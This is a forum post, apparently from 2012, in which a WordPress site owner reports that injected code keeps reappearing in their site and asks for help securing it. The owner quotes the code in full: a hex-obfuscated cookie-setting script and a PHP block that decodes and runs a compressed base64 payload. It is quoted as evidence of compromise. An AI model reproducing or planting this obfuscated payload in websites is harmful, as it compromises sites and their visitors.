Please help me with spam issues

[DevilLnC]

Hi guys someone is spamming my website allskip.com

<script type="text/javascript" language="javascript"> var lprcb=new Date( ); lprcb.setTime(lprcb.getTime( )+12*60*60*1000); ****************="\x6e\x5f\x73\x65\x73s\x5f\x69d\x3d\x30\x64\x38\x657cba\x65\x64\x63\x39\x61\x34\x35\x371\x61\x62e\x37\x61\x37\x32\x35\x36\x64\x31e\x65\x617"+"\x3b\x20path=/;\x20expire\x73="+lprcb.toGMTString( ); </script>

and this i got in my Header file

#215d25#
echo(gzinflate(base64_decode("zVZLj5swEP4rLRdgUVgM2IBY99Jeeu4xyoFNoGG1SxLwNkqi8NvrsY1D3nRVqZUSQ8Yz883D38RPzbQul+zLjH7LKWWH7OaJWvP80sO53T0TKrm/x7xSzTQ75pP+K0LKx1Wc0Wa3e2mL6/5RWzWb3ZcRtjtc4Nd1kv2IJtlvl+mrHp3FqtVvZuu6Vm9mqm8PxlOttt2jTUMMAZsncFNQvTMWv+Xbzx5es8q820oAV/BdmML7mZ7nPK5mUzLtzm/blhtYWQzV1NUkbNDd+uqBG4uIUvRrB4LcItStowaXHIBWEM0ggWUAoTeAu5pPV9rq1FURsIJ4H6faKMCaBwCxCFqA2FRzAPYvVDW3B0FAtoFUIizYQQCQcg9jkU7iQEXGGVyWlGmJxCcAmgwKsfn1gSsEKdYiBDl4FdwRlWq1jiyqCiQ6qk9ZMboSIsI4AdcOHrUmAkKss/kAXHgF1fbSD19PqoWn5YRGgCkWhzgR1pnVDoSPOuC1jlg1T6kXClQ/MD2SCtjFQ1UNd2GfwNCyLLhJPeqerlHitfREfRSQJdYiz7q/MOE/lRSQk/WLbu4Eek4nZiUJO1AP9EywNVNNVH6as7+55ILYZ05EakrHBfKvIIPOi+6tq1I8CVELl1WvsCgS5DD+ML+aCBvLjMqI6sRPgRw8JPOr4MYEGoWCCkYb+EN8dHNxJu0EQPB1kiTxxa0p9PXXcjTQjoaXRCx9g9IZw8nujfc+5ScmcM8f+EGkej5JwhMvMBiPdJpJHuc2kw6jHdepNkuIseMe/af+Qcnc/Io9N0PPT+1uG9MmsHIX/on+1/uAXAbInUQD9gcqPgiJ0QGLiG0XV1nhpus3wtmWVkraHvTbadFovaKqmXlp8pJklaOo69e6El3MuaxvnB6rL6OS4m1mj+YPkj5KCHavwy4YZ7cWdbcS24vW23dm4ZhrOy06dHdY/8DQ==")));
#/215d25#

i'm getting this TYpe of Script Code in my Page.php

it happened 2 times, and i got Notice from google too.. but i Reset the site from backup. But today also i got this type of script in my page.php someone plz help me how to Secure my wordpress site ???

DevilLnC Reviewed by DevilLnC on 24th Mar 2012. Please help me with spam issues Hi guys someone is spamming my website allskip.com <script type="text/javascript" language="javascript"> var lprcb=new Date( ); lprcb.setTime(lprcb.getTime( )+12*60*60*1000); ****************="\x6e\x5f\x73\x65\x73s\x5f\x69d\x3d\x30\x64\x38\x657cba\x65\x64\x63\x39\x61\x34\x35\x371\x61\x62e\x37\x61\x37\x32\x35\x36\x64\x31e\x65\x617"+"\x3b\x20path=/;\x20expire\x73="+lprcb.toGMTString( ); </script> and this i got in my Header file #215d25# Rating: 5